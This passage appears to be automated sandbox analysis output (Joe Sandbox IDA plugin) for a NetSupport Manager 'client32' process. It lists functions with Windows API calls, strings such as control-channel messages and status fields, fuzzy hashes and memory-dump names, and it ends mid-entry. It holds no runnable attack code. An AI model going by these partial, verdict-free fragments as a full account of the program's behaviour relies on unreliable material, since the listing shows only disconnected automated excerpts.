Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Global$File$ReadUnlock$AllocFreeLockSize
String ID:
API String ID: 3489003387-0
Opcode ID: dd8f80031ae181a8ed5eea704e92fea1ffadc77db63c751e718b3c2d07927bee
Instruction ID: 752bd59a7f8b278135cd4218b820f19d57544efb101fbb4cfc0774b0aabdd1bf
Opcode Fuzzy Hash: dd8f80031ae181a8ed5eea704e92fea1ffadc77db63c751e718b3c2d07927bee
Instruction Fuzzy Hash: 3721C532A41019AFD704DFA5CA89AFEB7FCEB4421AF0001AEF91997540DF709901C7E2

Function 1101B530 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 204libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 110DEB60: EnterCriticalSection.KERNEL32(111EE0A4,11018BE8,EFF676FC,?,?,?,111CD988,11187878,000000FF,?,1101ABB2), ref: 110DEB61

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 1101B776
__CxxThrowException@8.LIBCMT ref: 1101B791
LoadLibraryA.KERNEL32(NSSecurity.dll,00000000,111CD988), ref: 1101B7AE

Part of subcall function 11008DD0: std::_Xinvalid_argument.LIBCPMT ref: 11008DEA

Strings

NSSecurity.dll, xrefs: 1101B7A3
NsAppSystem Info : Control Channel Command Sent : %d, xrefs: 1101B70A
NsAppSystem Info : Control Channel Sending Command : %d, xrefs: 1101B6E9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterException@8LibraryLoadSectionThrowXinvalid_argument_malloc_memsetstd::_std::exception::exceptionwsprintf
String ID: NSSecurity.dll$NsAppSystem Info : Control Channel Command Sent : %d$NsAppSystem Info : Control Channel Sending Command : %d
API String ID: 3515807602-1044166025
Opcode ID: 516f949d8a8a1383b1a24131f20d62a9ee5b2450b9431babf89fa67383d09024
Instruction ID: 97a0dec6d0d64d3c3877ebf05293913b11e378911f3366e288316342895a3808
Opcode Fuzzy Hash: 516f949d8a8a1383b1a24131f20d62a9ee5b2450b9431babf89fa67383d09024
Instruction Fuzzy Hash: 72718FB5D00309DFEB10CFA4C844BDDFBB4AF19318F244569E915AB381DB79AA44CB91

Function 110717D0 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 176COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,EFF676FC,75A77CB0,75A77AA0,?,75A77CB0,75A77AA0), ref: 11071824
LeaveCriticalSection.KERNEL32(?), ref: 11071838

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

LeaveCriticalSection.KERNEL32(00000000,?,?), ref: 110719B1

Strings

queue, xrefs: 1107180A
Register NC_CHATEX for conn=%s, q=%p, xrefs: 11071883
r->queue != queue, xrefs: 11071915
..\ctl32\Connect.cpp, xrefs: 11071805, 11071910

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\Connect.cpp$Register NC_CHATEX for conn=%s, q=%p$queue$r->queue != queue
API String ID: 624642848-3840833929
Opcode ID: 3c83a621861238185e4c263f1509ae9a5f7840be0cd4825615d113d4d233f835
Instruction ID: 4c47afc427fc1e2a273e18b082198136771a32f8cb6ee563f570ada24247464b
Opcode Fuzzy Hash: 3c83a621861238185e4c263f1509ae9a5f7840be0cd4825615d113d4d233f835
Instruction Fuzzy Hash: 9B611475E04285AFE701CF64C480FAABBF6FB05314F0485A9E8959B2C1E774E985CBA4

Function 110935A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 110CEEB0: CreateDialogParamA.USER32(00000000,?,1112E709,110CC170,00000000), ref: 110CEF41
Part of subcall function 110CEEB0: GetLastError.KERNEL32 ref: 110CF099
Part of subcall function 110CEEB0: wsprintfA.USER32 ref: 110CF0C8

Part of subcall function 111439A0: _memset.LIBCMT ref: 111439C9
Part of subcall function 111439A0: GetVersionExA.KERNEL32(?), ref: 111439E2

GetWindowLongA.USER32(?,000000EC), ref: 110935E9
SetWindowLongA.USER32(?,000000EC,00000000), ref: 11093617

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetWindowLongA.USER32(?,000000F0), ref: 11093640
SetWindowLongA.USER32(?,000000F0,00000000), ref: 1109366E

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110935D1, 110935FE, 11093628, 11093655
m_hWnd, xrefs: 110935D6, 11093603, 1109362D, 1109365A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LongWindow$ErrorLastwsprintf$CreateDialogExitMessageParamProcessVersion_memset
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 3136964118-2830328467
Opcode ID: 990935dc77e2aa569bf3059a9d0286cde9b91335195f1cd60f9fd39a0179e0c2
Instruction ID: a6255a4dd11f96cfd194679b8cc3cdd2b3575d4c8ce1213ed658c40333833496
Opcode Fuzzy Hash: 990935dc77e2aa569bf3059a9d0286cde9b91335195f1cd60f9fd39a0179e0c2
Instruction Fuzzy Hash: 1431E4B5A04615ABCB14DF65DC81F9BB3E5AB8C318F10862DF56A973D0DB34B840CB98

Function 110ED7B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,?), ref: 110ED801
_free.LIBCMT ref: 110ED81C

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_malloc.LIBCMT ref: 110ED82E
RegQueryValueExA.ADVAPI32(000007FF,?,00000000,?,00000000,000007FF), ref: 110ED85A
_free.LIBCMT ref: 110ED8E3

Strings

Error %d getting %s, xrefs: 110ED89D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_free$ErrorFreeHeapLast_malloc
String ID: Error %d getting %s
API String ID: 582965682-2709163689
Opcode ID: 59ae116487e404f5de4155705fcd48daf632d85a688279f19c106630c28adf20
Instruction ID: 02eced05e3356085969bcbe05084d5abf0c2b7b1903d0388d20c61e7be7eac91
Opcode Fuzzy Hash: 59ae116487e404f5de4155705fcd48daf632d85a688279f19c106630c28adf20
Instruction Fuzzy Hash: F1318375D001289BDB60DA59CD84BEEB7F9EF54314F0481E9E88DA7240DE706E89CBD1

Function 1103D0E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80synchronizationwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 111100D0: SetEvent.KERNEL32(00000000,?,1102CB9F), ref: 111100F4

Part of subcall function 11110920: EnterCriticalSection.KERNEL32(00000010,00000000,759223A0,1100BF7B), ref: 11110928
Part of subcall function 11110920: LeaveCriticalSection.KERNEL32(00000010), ref: 11110935

WaitForSingleObject.KERNEL32(?,00001388), ref: 1103D13A
SetPriorityClass.KERNEL32(?,?), ref: 1103D167
IsWindow.USER32(?), ref: 1103D17E
SendMessageA.USER32(?,0000004A,00170222,00000492), ref: 1103D1B8
_free.LIBCMT ref: 1103D1BF

Strings

Show16, xrefs: 1103D0E9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$ClassEnterEventLeaveMessageObjectPrioritySendSingleWaitWindow_free
String ID: Show16
API String ID: 625148989-2844191965
Opcode ID: 3c8172704bdceca68c72fbf0a9a51fac22612fd7412045f5de257e3282e9e7b5
Instruction ID: 63bdf3f47677d5a3c66ccb25ed14d3d2c42581b640399fe0720dd9fbd5d3b219
Opcode Fuzzy Hash: 3c8172704bdceca68c72fbf0a9a51fac22612fd7412045f5de257e3282e9e7b5
Instruction Fuzzy Hash: 3B3182B5E10346AFD715DFA4C8849AFF7F9BB84309F40496DE56A97244DB70BA00CB81

Function 6EEFAEA0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6EF07D00: __vswprintf.LIBCMT ref: 6EF07D26

Part of subcall function 6EEF5060: _free.LIBCMT ref: 6EEF506A
Part of subcall function 6EEF5060: _malloc.LIBCMT ref: 6EEF5090

_free.LIBCMT ref: 6EEFAF0A

Part of subcall function 6EF11BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6EF11C13
Part of subcall function 6EF11BFD: GetLastError.KERNEL32(00000000), ref: 6EF11C25

_free.LIBCMT ref: 6EEFAF39

Part of subcall function 6EF07B60: _sprintf.LIBCMT ref: 6EF07B77

Part of subcall function 6EF077E0: _free.LIBCMT ref: 6EF077EF

Strings

CHANNEL=%s, xrefs: 6EEFAF2D
CMD=STATUS, xrefs: 6EEFAEC0
REQUESTING_HELP=%d, xrefs: 6EEFAED6
USERNAME=%s, xrefs: 6EEFAEFE

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast__vswprintf_malloc_sprintf
String ID: CHANNEL=%s$CMD=STATUS$REQUESTING_HELP=%d$USERNAME=%s
API String ID: 1628406020-2994292602
Opcode ID: 34ca1491adb15002f931f0a3cd5e45a35dc3e8327ed6ed1bbd9e3f1416f94724
Instruction ID: f1fd29fb97798eed8d8db2dae92f9407c0484a08a0eea23c9e6528719e1c2b9f
Opcode Fuzzy Hash: 34ca1491adb15002f931f0a3cd5e45a35dc3e8327ed6ed1bbd9e3f1416f94724
Instruction Fuzzy Hash: 57216276910118B7CB11EBE4CC61FEF7B7C9F54604F20494AE601BB284EB35AA4AD7E4

Function 11009620 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77fileCOMMON

Download Yara Rule

APIs

Part of subcall function 110D1540: wvsprintfA.USER32(?,?,00000000), ref: 110D1572

WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 110096D6
WriteFile.KERNEL32(?,<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >,000000B9,00000000,00000000), ref: 110096EB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsA(), xrefs: 1100968D, 110096B5
<HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">, xrefs: 11009659
<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >, xrefs: 110096E5
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11009688, 110096B0

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileWrite$ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: <HTML%s><Body><title>Approved URLs</title><body bgcolor="#FFFFFF"><div align="center"> <center><table > <td><div align="center"> <center><table border="1" cellspacing="0" cellpadding="3" bgcolor="#FFFFFF" bordercolor="#6089B7">$<tr><td ><div align="center"><img src="URL_list.gif" height="78"><br></div> </td></tr><tr><td > <div align="left"> <table border="0" cellpadding="0" height="23" >$IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 863766397-389219706
Opcode ID: 6cba4906e97f348ea097e0d93425011368abffb83af317fd01dd9cb46dfc5e94
Instruction ID: c29ccd5437a1998bdc0500c50b26c338a4961a37ea6a19b2fc580a4c00e0eec9
Opcode Fuzzy Hash: 6cba4906e97f348ea097e0d93425011368abffb83af317fd01dd9cb46dfc5e94
Instruction Fuzzy Hash: 5A215E75A00219ABDB00DFD5DC41FEEF3B8FF59654F10025AE922B7280EB746504CBA1

Function 110ED020 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63COMMON

Download Yara Rule

APIs

IsWindow.USER32(0000070B), ref: 110ED02A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

LoadCursorA.USER32(00000000,00007F00), ref: 110ED0B1
SetCursor.USER32(00000000), ref: 110ED0B8

Strings

IsWindow(hRich), xrefs: 110ED03E
..\CTL32\NSWin32.cpp, xrefs: 110ED039, 110ED057
pEnLink!=0, xrefs: 110ED05C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$ErrorExitLastLoadMessageProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)$pEnLink!=0
API String ID: 2735369351-763374134
Opcode ID: c71bab5a9d15cfbc5a16eb7372e080607997f0f4ce03b78e9d73ef1e06305408
Instruction ID: 1517011758136c5ff836e71d92dda8c4c85f8f681a38b9b7789002e2c31f8d4e
Opcode Fuzzy Hash: c71bab5a9d15cfbc5a16eb7372e080607997f0f4ce03b78e9d73ef1e06305408
Instruction Fuzzy Hash: 2F01497AE412253BD511A5537C0AFDFBB1CEF412ADF040031FD1996201F66AB11583E6

Function 110B94B0 Relevance: 10.6, APIs: 7, Instructions: 58COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(75A77AA0,?,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C), ref: 110B94C7
GetCursorPos.USER32(110C032C), ref: 110B94D6

Part of subcall function 1115F5B0: GetWindowRect.USER32(?,?), ref: 1115F5CC

PtInRect.USER32(110C032C,110C032C,110C032C), ref: 110B94F4
ClientToScreen.USER32(?,110C032C), ref: 110B9516
SetCursorPos.USER32(110C032C,110C032C,?,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C), ref: 110B9524
LoadCursorA.USER32(00000000,00007F00), ref: 110B9531
SetCursor.USER32(00000000,?,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C,110C032C), ref: 110B9538

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$RectWindow$ClientForegroundLoadScreen
String ID:
API String ID: 3235510773-0
Opcode ID: 8d2b5613eb67d591a4703b81c38f404f3807f5f87d52da527a803e22d8ab7870
Instruction ID: e413c7048e2c9fc99527a8bfd6ed1c185ebac442807b3b09d80bd78fd45dd6ba
Opcode Fuzzy Hash: 8d2b5613eb67d591a4703b81c38f404f3807f5f87d52da527a803e22d8ab7870
Instruction Fuzzy Hash: A8115B72A4020E9BDB18DFA4C984DAFF7BCFB48215B004569E52297644DB34E906CBA4

Function 1100B340 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B350
EnterCriticalSection.KERNEL32(?,?,1100BF9B,?,00000000,00000002), ref: 1100B389
EnterCriticalSection.KERNEL32(?,?,1100BF9B,?,00000000,00000002), ref: 1100B3A8

Part of subcall function 1100A250: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A26E
Part of subcall function 1100A250: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A298
Part of subcall function 1100A250: GetLastError.KERNEL32 ref: 1100A2A0
Part of subcall function 1100A250: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A2B4
Part of subcall function 1100A250: CloseHandle.KERNEL32(00000000), ref: 1100A2BB

waveOutUnprepareHeader.WINMM(00000000,?,00000020,?,1100BF9B,?,00000000,00000002), ref: 1100B3B8
LeaveCriticalSection.KERNEL32(?,?,1100BF9B,?,00000000,00000002), ref: 1100B3BF
_free.LIBCMT ref: 1100B3C8
_free.LIBCMT ref: 1100B3CE

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

